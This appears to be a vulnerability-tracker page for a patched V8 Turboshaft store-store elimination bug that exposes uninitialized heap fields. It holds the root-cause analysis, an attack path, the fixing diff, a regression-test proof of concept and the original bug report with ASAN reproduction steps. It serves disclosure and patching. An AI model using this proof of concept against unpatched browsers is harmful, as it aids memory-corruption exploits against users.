Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUninitialized resource in V8
DescriptionUninitialized resource in V8
ComponentV8
Sub-componentTurboshaft
Bug ClassUninitialized Memory
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar — revised by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed (tier revised from patch-now)
Reviewer notes: Mechanism confirmed, but 'type/value confusion -> corruption' is overstated: diff/test show only a wrongly-eliminated store yielding a stale/uninitialized field value (advisory: uninitialized resource), not memory corruption.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker547936520
Fix commit67c8f3a91447 (v8/v8) +72/-2
CWECWE-908
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedJihyeon Jeong (Compsec Lab, Seoul National University / Research Intern)
Reported2026-08-17 (per vendor advisory)
Fix landed2026-08-28 (public git)
Disclosed2026-09-01
Patch gap4 days — fix public in source before the advisory

Background

`Turboshaft`
V8’s newer optimizing compiler backend that lowers the intermediate representation into machine code through a pipeline of “reducers.”
Store-store elimination
An optimization that removes a memory store when a later store to the same location makes the earlier one unobservable (dead).
`StoreObservability`
The lattice value (kObservable / kUnobservable / kGCObservable) tracking whether a store to a given base+offset can be seen before being overwritten.
Loop back-edge
The control-flow edge from a loop’s last predecessor block back to its header, across which dataflow state must be merged for each iteration.

Root Cause Analysis

The StoreStoreEliminationReducer merges per-block StoreObservability state at each loop header and revisits the loop when the merge changes; when a store like object.target = value appeared both inside and after the loop, the merge concluded the in-loop store to object.target was kUnobservable and eliminated it on revisit. This reasoning is only sound when the base object persists across iterations, but the code failed to account for objects allocated inside the loop body (object = { target: null }), which are freshly created and distinct on every iteration. The violated invariant is that an aliased base tracked as kUnobservable must denote the same allocation across the back-edge; for a loop-local allocation this is false, so eliminating the store leaves the fresh object’s field carrying stale or uninitialized memory when the object escapes (here via holder.prev/holder.y).

The fix adds InvalidateBasesInRange, which at each loop header resets to kObservable every active key whose base was defined within the loop’s block range [block_index, back_edge->index()], forcing those stores to be preserved. It also erases stale entries from eliminable_stores_ and mergeable_store_pairs_ on revisit so a decision from an earlier pass cannot linger and remove a still-needed store.

Key insight
The single mistake was treating store observability of a loop-allocated object as if the object were loop-invariant across the back-edge, when each iteration creates a distinct allocation; the fix invalidates the observability of any base defined inside the loop so its stores are never elided.

Attack Path

  1. Craft the loop Write JavaScript that allocates a fresh object each iteration (object = { target: null }), writes a fixed-offset field inside the loop, and writes the same field again after the loop.
  2. Escape the object Publish the in-loop object to an outer reference (holder.y/holder.prev) so an earlier iteration’s allocation remains reachable after optimization.
  3. Trigger optimization Prime the function with %PrepareFunctionForOptimization and %OptimizeFunctionOnNextCall so Turboshaft applies store-store elimination and drops the in-loop object.target store.
  4. Observe stale memory Read the escaped field (holder.prev.target), which now returns uninitialized/stale contents instead of the value that was supposed to be stored.

Impact Assessment

An attacker running scripted JavaScript in the renderer obtains a field of a heap object that reflects uninitialized or stale memory rather than the intended value, a type/value confusion primitive inside the V8 sandboxed heap. Exploitation requires only that the victim run attacker-controlled JavaScript that reaches Turboshaft optimization of a loop allocating and escaping an object with a repeated fixed-offset store. The regression test asserting holder.prev.target === 0x42 and running under --verify-heap indicates the defect manifests as an incorrect heap value detectable by heap verification.

Changed Functions

FunctionChangeNotes
for
src/compiler/turboshaft/store-store-elimination-reducer-inl.h
modified
if
src/compiler/turboshaft/store-store-elimination-reducer-inl.h
modified
while
test/mjsunit/turboshaft/regress-547936520.js
modified
if
test/mjsunit/turboshaft/regress-547936520.js
modified

Files Changed

  • test/mjsunit/turboshaft/regress-547936520.js
  • src/compiler/turboshaft/store-store-elimination-reducer-inl.h

Audit Directions

  • Loop-local allocations in dataflow merges
    Audit any reducer that merges state across loop back-edges to confirm facts about a base are invalidated when that base is redefined (allocated) inside the loop.
  • Idempotent loop revisits
    Check that optimizations revisiting a loop clear per-pass decision caches (like eliminable_stores_/mergeable_store_pairs_) so stale conclusions from an earlier iteration are not reused.
  • Observability of escaping objects
    Review store-elimination and escape analysis where an in-loop object is published to an outer reference, ensuring stores that become externally observable are never treated as dead.
From 67c8f3a91447f9b8b15c16b6f6d0e1702f02e7a7 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Fri, 28 Aug 2026 10:31:44 +0200
Subject: [PATCH] [turboshaft] Invalidate in-loop bases in store-store-elimination

In a nutshell, if after a loop there is a `a[0] = 42` and in the loop
there is also a `a[0] = 42`, when we merging at the header,
store-store elimination will decide that `a[0]` is unobservable and
when revisiting the loop it will thus eliminate the `a[0] = 42`.
In general, this is OK, except if `a` was allocated in the loop
itself, since in that case `a` is redefined at each iteration, and the
fact that `a[0]` was unobservable at iteration `i` doesn't mean that
it won't be at iteration `i+1`. So for instance if the loop stored
`a` somewhere and we removed the `a[0] = 42`, then `a[0]` could be
observed as stale/uninitialized.

Fixed: 547936520
Change-Id: If102dfd81cf69cbddd6375be08f20213991a8b2d
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8308714
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Leszek Swirski <leszeks@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#109560}
---
diff --git a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
index 3c4f4ed..a292ef0 100644
--- a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
+++ b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
@@ -230,6 +230,15 @@
     }
   }
 
+  void InvalidateBasesInRange(BlockIndex start, BlockIndex end) {
+    for (Key key : active_keys_) {
+      BlockIndex base_block = graph_.BlockOf(key.data().base);
+      if (base_block >= start && base_block <= end) {
+        Set(key, StoreObservability::kObservable);
+      }
+    }
+  }
+
   void MarkAllStoresAsGCObservable() {
     TRACE("> MarkAllStoresAsGCObservable");
     for (Key key : active_keys_) {
@@ -330,14 +339,26 @@
       // If this block is a loop header, check if this loop needs to be
       // revisited.
       if (block.IsLoop()) {
+        Block* back_edge = block.LastPredecessor();
+        DCHECK_GE(back_edge->index(), block_index);
+        // Objects allocated inside the loop body belong to a specific loop
+        // iteration and are distinct across iterations. We must invalidate
+        // their store observability across the backedge so that stores to a
+        // fresh object in one iteration are not incorrectly eliminated by
+        // stores to an object from the next iteration.
+        // Note that checking the BlockIndex range [block_index,
+        // back_edge->index()] is a slight overapproximation since some blocks
+        // in this range might not belong to the loop. However, this is
+        // conservative and safe, and using LoopFinder here would be both more
+        // complicated and significantly more expensive.
+        table_.InvalidateBasesInRange(block_index, back_edge->index());
+
         TRACE("Considering Loop revisit for " << block.index());
         DCHECK(!table_.IsSealed());
         bool needs_revisit = false;
         table_.Seal(&needs_revisit);
         TRACE("> needs_revisit=" << needs_revisit);
         if (needs_revisit) {
-          Block* back_edge = block.LastPredecessor();
-          DCHECK_GE(back_edge->index(), block_index);
           // We need a +2 to process the backedge at the next iteration:
           //   - the `--processed` at the end of the loop will undo a +1.
           //   - `block_index` is computed with `processed - 1`, which will undo
@@ -374,6 +395,14 @@
           // For now we consider only stores of fixed offsets of objects on the
           // heap.
           if (is_on_heap_store && is_fixed_offset_store) {
+            // If we're revisiting a loop, then {eliminable_stores_} and
+            // {mergeable_store_pairs_} might contain {index} because a previous
+            // visit of the loop decided that it could be eliminated/merged; we
+            // remove it now and might add it back below if it can still be
+            // eliminated.
+            eliminable_stores_->erase(index);
+            mergeable_store_pairs_->erase(index);
+
             bool is_eliminable_store = false;
             switch (table_.GetObservability(store.base(), store.offset, size)) {
               case StoreObservability::kUnobservable:
diff --git a/test/mjsunit/turboshaft/regress-547936520.js b/test/mjsunit/turboshaft/regress-547936520.js
new file mode 100644
index 0000000..bc017a2
--- /dev/null
+++ b/test/mjsunit/turboshaft/regress-547936520.js
@@ -0,0 +1,41 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --verify-heap
+
+// `pad` ensures `holder.y` is at in-object offset 16 to avoid alias
+// collision with `object.target` at offset 12 in StoreStoreElimination.
+const holder = { pad: null, y: null, prev: null };
+
+function candidate() {
+  let object;
+  let sink = 0;
+  let i = 0;
+  while (true) {
+    holder.prev = holder.y;
+    object = { target: null };
+    holder.y = object;
+    if (i < 6) {
+      object.target = 0x42;
+      sink = sink ^ i ^ (sink << 1) ^ (sink << 2) ^ (sink << 3) ^ (sink << 4) ^
+             (sink << 5) ^ (sink << 6) ^ (sink << 7) ^ (sink << 8) ^ (sink << 9) ^
+             (sink << 10) ^ (sink << 11) ^ (sink << 12) ^ (sink << 13) ^
+             (sink << 14) ^ (sink << 15);
+      i = (i + 1) | 0;
+    } else {
+      break;
+    }
+  }
+  object.target = 0x43;
+  return [object, sink];
+}
+
+%PrepareFunctionForOptimization(candidate);
+candidate();
+candidate();
+
+%OptimizeFunctionOnNextCall(candidate);
+candidate();
+
+assertEquals(0x42, holder.prev.target);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/turboshaft/regress-547936520.js b/test/mjsunit/turboshaft/regress-547936520.js
new file mode 100644
index 0000000..bc017a2
--- /dev/null
+++ b/test/mjsunit/turboshaft/regress-547936520.js
@@ -0,0 +1,41 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --verify-heap
+
+// `pad` ensures `holder.y` is at in-object offset 16 to avoid alias
+// collision with `object.target` at offset 12 in StoreStoreElimination.
+const holder = { pad: null, y: null, prev: null };
+
+function candidate() {
+  let object;
+  let sink = 0;
+  let i = 0;
+  while (true) {
+    holder.prev = holder.y;
+    object = { target: null };
+    holder.y = object;
+    if (i < 6) {
+      object.target = 0x42;
+      sink = sink ^ i ^ (sink << 1) ^ (sink << 2) ^ (sink << 3) ^ (sink << 4) ^
+             (sink << 5) ^ (sink << 6) ^ (sink << 7) ^ (sink << 8) ^ (sink << 9) ^
+             (sink << 10) ^ (sink << 11) ^ (sink << 12) ^ (sink << 13) ^
+             (sink << 14) ^ (sink << 15);
+      i = (i + 1) | 0;
+    } else {
+      break;
+    }
+  }
+  object.target = 0x43;
+  return [object, sink];
+}
+
+%PrepareFunctionForOptimization(candidate);
+candidate();
+candidate();
+
+%OptimizeFunctionOnNextCall(candidate);
+candidate();
+
+assertEquals(0x42, holder.prev.target);
Loading diff…

Original Bug Report

reported by sm...@gmail.com

Turboshaft store-store elimination keeps stale loop-visit decisions and publishes an uninitialized tagged field


Report description

Turboshaft store-store elimination keeps stale loop-visit decisions and publishes an uninitialized tagged field


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://source.chromium.org/chromium/chromium/src


The problem

Please describe the technical details of the vulnerability

RedundantStoreAnalysis revisits loop blocks until MaybeRedundantStoresTable reaches a fixed point, but it immediately inserts rewrite decisions into the append-only eliminable_stores_ and mergeable_store_pairs_ containers. When a later loop visit changes a store from eliminable to required, the earlier decision is not removed. StoreStoreEliminationReducer::ReduceInputGraphStore() subsequently removes every store whose input-graph index remains in eliminable_stores_ (v8/src/compiler/turboshaft/store-store-elimination-reducer-inl.h).

The attached JavaScript produces one JSObject allocation in a statically bounded loop. The allocation initializes its tagged in-object target field, publishes the object through holder.y, and the loop body overwrites target. The loop is large enough to avoid loop peeling and unrolling, while its static iteration count allows LoopStackCheckElisionReducer to remove the loop JSStackCheck before store-store elimination (v8/src/compiler/turboshaft/loop-unrolling-reducer.cc, v8/src/compiler/turboshaft/loop-unrolling-reducer.h, and v8/src/compiler/turboshaft/load-elimination-phase.cc).

On the first backward visit, the initialization store is classified as kUnobservable and added to eliminable_stores_. After allocation makes the loop state kGCObservable, the loop-body overwrite is eliminated and the initialization store is revisited as an initializing store that must be kept. The analysis preserves the final kGCObservable state but does not remove the initialization store from eliminable_stores_. The rewrite therefore removes both the initialization and loop-body overwrite while preserving publication.

The resulting object map describes a live tagged field at offset +12, but optimized code has not written that slot. Allocation residue is exposed as a JavaScript value. Depending on the reused contents, the value can be a stale Smi, a genuine HeapObject pointer, or a malformed compressed tagged pointer that crashes when consumed.

PoC

The attached poc.js keeps the preceding loop-body object in a fixed holder.prev field, performs ordinary calls until TurboFan/Turboshaft optimization is installed, and then reads the preceding object’s target field. The arithmetic loop body exists only to keep the loop above the peeling and partial-unrolling size limits and lowers to live Word32 operations without heap reads, calls, bounds checks, or allocations in the optimized graph.

Reproduce

Confirmed with the official asan-v8-sandbox-testing-linux-release-1680586.zip

ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=1:external_symbolizer_path=/path/to/llvm-symbolizer:handle_segv=2' \
  /path/to/d8 \
  --run-as-security-poc \
  --no-wasm-trap-handler \
  /path/to/poc.js

handle_segv=2 and --no-wasm-trap-handler are used only to let AddressSanitizer own SIGSEGV and print the attached canonical report. The PoC does not use WebAssembly, and the same fault reproduces without these logging-only options.

Impact analysis

Impact analysis

Optimized code publishes a JSObject whose map declares a live tagged in-object field even though the corresponding initialization and loop-body store are both absent. Reused heap contents are interpreted as tagged values and become observable to JavaScript.


The cause

What version of Chrome have you found the security issue in?

153.0.8010.0

Yes, it is related to a crash.

Choose the type of vulnerability

Memory Corruption (in a sandboxed process)

View on issue tracker